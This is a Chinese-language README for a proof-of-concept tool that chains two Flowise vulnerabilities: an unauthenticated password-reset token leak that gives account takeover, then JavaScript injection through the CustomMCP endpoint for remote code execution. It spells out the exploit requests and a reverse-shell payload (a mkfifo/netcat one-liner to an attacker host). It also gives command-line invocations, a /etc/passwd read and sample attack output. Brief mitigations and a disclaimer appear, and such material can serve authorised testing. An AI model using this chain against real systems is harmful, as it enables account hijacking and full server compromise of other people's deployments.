
模块化PoC,针对Flowise中的CVE-2025-58434(账户接管)和CVE-2025-59528(远程代码执行)。自动化完整的攻击链,从未经身份验证的令牌泄露到通过反向shell或自定义命令实现远程代码执行。
⚠️ 仅用于教育和授权的安全研究。
针对你不拥有或未经书面许可测试的系统运行此工具是非法的。
本仓库将 Flowise 的两个严重漏洞合并为一个模块化 PoC 工具。
| CVE-2025-58434 | CVE-2025-59528 | |
|---|---|---|
| 类型 | 账户接管 | 远程代码执行 |
| 需要认证 | 否 | 是(任意有效账户) |
| CVSS | 9.8 严重 | 严重 |
| 影响范围 | 云 + 自托管 | 自托管 |
这两个漏洞自然串联:CVE-2025-58434 提供无需认证的账户接管,满足了 CVE-2025-59528 的认证要求——从而在单次自动化运行中实现无认证的远程代码执行。
根本原因: forgot-password 端点直接在 HTTP 响应体中返回密码重置令牌(tempToken),而不是仅通过邮件发送。
攻击步骤:
POST /api/v1/account/forgot-password,使用任意已注册邮箱tempToken — 无需访问邮箱POST /api/v1/account/reset-password,使用泄露的令牌 → 设置新密码泄露的响应(截取):
{
"user": {
"email": "[email protected]",
"tempToken": "LEAKED_TOKEN_HERE",
"tokenExpiry": "2025-08-19T13:00:33.834Z",
"status": "active"
}
}
根本原因: CustomMCP 节点直接将用户提供的 mcpServerConfig 传递给 JavaScript 的 Function() 构造函数,未经任何清理。由于 Flowise 运行在 Node.js 环境中,注入的代码可以完全访问 child_process、fs 以及所有 Node.js 内建模块。
易受攻击的代码路径:
POST /api/v1/node-load-method/customMCP
-> convertToValidJSONString()
-> Function('return ' + mcpServerConfig)() ← 未经清理的用户输入
必需的请求头:
Content-Type: application/json
x-request-from: internal
Cookie: token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
默认注入载荷(反弹 Shell):
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
}
}
注意: 反弹 Shell 载荷使用
cp.exec()(异步 / 即发即忘),因此 HTTP 请求会立即返回,工具不会超时。常规命令使用cp.execSync(),并直接返回输出。
攻击者 Flowise API
│ │
│ [CVE-2025-58434] │
│ POST /forgot-password {email} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 { tempToken: "abc..." } │ ← 令牌在响应中泄露
│ │
│ POST /reset-password │
│ {email, tempToken, newPassword} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 201 OK (tempToken cleared) │ ← ATO 完成
│ │
│ [CVE-2025-59528] │
│ POST /auth/login {email, newPass} │
│─────────────────────────────────────►│
│◄─────────────────────────────────────│
│ 200 OK + Set-Cookie: token=... │ ← 提取 cookie
│ │
│ POST /node-load-method/customMCP │
│ {mcpServerConfig: <js-revshell>} │
│─────────────────────────────────────►│
│ [exec() 在后台触发]
│◄─────────────────────────────────────│
│ 200 {"shell_fired"} │
│ │
攻击者的 nc 监听器 ←─────────────────── 服务器回连
✓ 零凭证实现完全 RCE
| 组件 | 状态 |
|---|---|
Flowise Cloud (cloud.flowiseai.com) | 受 CVE-2025-58434 影响 |
| Flowise 自托管(补丁前的所有版本) | 受两个 CVE 影响 |
请查看 官方 Flowise 安全公告 了解已修补的版本号。
flowise-dual-cve-poc/
├── flowise_poc.py # 主 PoC — 所有模块 + 链式模式
├── requirements.txt # Python 依赖
├── README.md # 本文件
└── DISCLAIMER.md # 完整法律声明
requests 库git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt
不需要指定模式标志。 如果不使用 --chain 或 --module 运行脚本,它将自动以完整链式模式运行。默认的 RCE 载荷是反弹 Shell——只需提供 --lhost 和 --lport。
# 最小调用 — 完整链 + 反弹 Shell
python3 flowise_poc.py \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 \
--lport 4444
运行前启动你的监听器:
nc -lvnp 4444
python3 flowise_poc.py -h
从头到尾运行所有四个步骤:泄露令牌 → 重置密码 → 登录 → RCE。
# 反弹 Shell(默认载荷)
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
--lhost 10.10.16.35 --lport 4444
# 自定义命令替代反弹 Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-c "cat /etc/passwd"
# 自定义 ATO 密码 + 反弹 Shell
python3 flowise_poc.py --chain \
-u http://flowise.example.com \
-e [email protected] \
-p "MyCustomPass1!" \
--lhost 10.10.16.35 --lport 9001
泄露 tempToken 并重置账户密码。在登录/RCE 前停止。
# 默认新密码
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected]
# 自定义新密码
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] \
-p "NewPassword2025!"
# 打印原始 JSON 响应
python3 flowise_poc.py --module ato \
-u http://flowise.example.com \
-e [email protected] --json-output
进行身份验证并提取三个会话 cookie 供手动使用。
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123"
# JSON 输出,适合脚本化
python3 flowise_poc.py --module login \
-u http://flowise.example.com \
-e [email protected] \
-P "password123" --json-output
在服务器上执行。如果未提供 --token,则自动登录。
# 反弹 Shell — 自动登录
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
--lhost 10.10.16.35 --lport 4444
# 自定义命令 — 自动登录
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
-e [email protected] -P "password123" \
-c "id"
# 手动提供令牌 — 反弹 Shell
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
--lhost 10.10.16.35 --lport 4444
# 手动提供所有三个 cookie
python3 flowise_poc.py --module rce \
-u http://flowise.example.com \
--token "eyJhbGci..." \
--refresh-token "eyJhbGci..." \
--connect-sid "s%3A4rey2nuk..." \
-c "ls /root"
--chain)| 标志 | 描述 |
|---|---|
--chain | 完整链:ATO → 登录 → RCE |
--module ato | 仅账户接管 |
--module login | 仅登录并提取 cookie |
--module rce | 仅 RCE |
| 标志 | 简写 | 描述 | 必需 |
|---|---|---|---|
--url | -u | Flowise 实例的基 URL | 始终 |
--email | -e | 目标/登录邮箱 | 始终 |
| 标志 | 简写 | 描述 | 默认值 |
|---|---|---|---|
--new-password | -p | ATO 后为受害者账户设置的密码 | Flowise@Pwn3d2025! |
| 标志 | 简写 | 描述 |
|---|---|---|
--login-password | -P | 登录模块/RCE 自动登录的密码 |
--token | — | 手动提供 token cookie(跳过登录) |
--refresh-token | — | 手动提供 refreshToken cookie |
--connect-sid | — | 手动提供 connect.sid cookie |
| 标志 | 简写 | 描述 | 默认值 |
|---|---|---|---|
--lhost | — | 用于反弹 Shell 的攻击者 IP | — |
--lport | — | 用于反弹 Shell 的攻击者端口 | — |
--command | -c | 自定义操作系统命令(覆盖 revshell) | 若无 lhost/lport 则为 id |
| 标志 | 简写 | 描述 | 默认值 |
|---|---|---|---|
--timeout | -t | HTTP 超时(秒) | 15 |
--json-output | -j | 打印原始 JSON 响应 | false |
脚本会自动选择合适的执行模式:
| 场景 | 使用的载荷 | HTTP 行为 |
|---|---|---|
--lhost + --lport(无 -c) | mkfifo netcat one-liner | cp.exec() — 异步,立即返回 |
-c "..." 包含 nc/mkfifo/bash -i | 检测为 revshell | cp.exec() — 异步,立即返回 |
-c "id" 或其他普通命令 | 用户命令 | cp.execSync() — 阻塞,返回输出 |
无 -c,无 --lhost | id | cp.execSync() — 阻塞,返回输出 |
异步执行意味着 HTTP 请求瞬间完成——反弹 Shell 载荷不会出现超时错误。
[步骤 1] [CVE-2025-58434] 请求 forgot-password 令牌 ...
[*] HTTP 201
────────────────────────────────────────────────────────────────────
泄露的账户数据
────────────────────────────────────────────────────────────────────
tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
tokenExpiry : 2026-04-13T05:14:17.621Z
────────────────────────────────────────────────────────────────────
[+] 存在漏洞 — 无需认证即可泄露令牌!
[步骤 2] [CVE-2025-58434] 重置密码 → Flowise@Pwn3d2025!
[*] HTTP 201
[+] 密码重置成功(tempToken 已清除)
[+] 账户接管完成 → [email protected] / Flowise@Pwn3d2025!
[步骤 3] [认证] 登录以提取会话 cookie ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
提取的会话 Cookie
────────────────────────────────────────────────────────────────────
token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
────────────────────────────────────────────────────────────────────
[步骤 4] [CVE-2025-59528] 通过 CustomMCP 执行 RCE ...
[*] HTTP 200
────────────────────────────────────────────────────────────────────
RCE 结果
────────────────────────────────────────────────────────────────────
模式 : 反弹 Shell
LHOST : 10.10.16.35
LPORT : 4444
[+] 反弹 Shell 载荷已触发!
[!] 正在等待 10.10.16.35:4444 上的连接 ...
[!] 确保你的监听器正在运行:nc -lvnp 4444
────────────────────────────────────────────────────────────────────
[+] 链式攻击完成
tempToken。forgot-password 端点进行速率限制。Function()、eval() 或 vm.runInThisContext()。mcpServerConfig 解析为纯数据(例如 JSON.parse())——绝不执行它。| 日期 | 事件 |
|---|---|
| 2025-08-19 | 发现并报告 CVE-2025-58434 |
| 待定 | 发现并报告 CVE-2025-59528 |
| 待定 | 厂商确认 |
| 待定 | 发布补丁 |
| 待定 | 公开披露 |
仅用于教育目的和授权的渗透测试。
请参阅 DISCLAIMER.md 获取完整法律声明。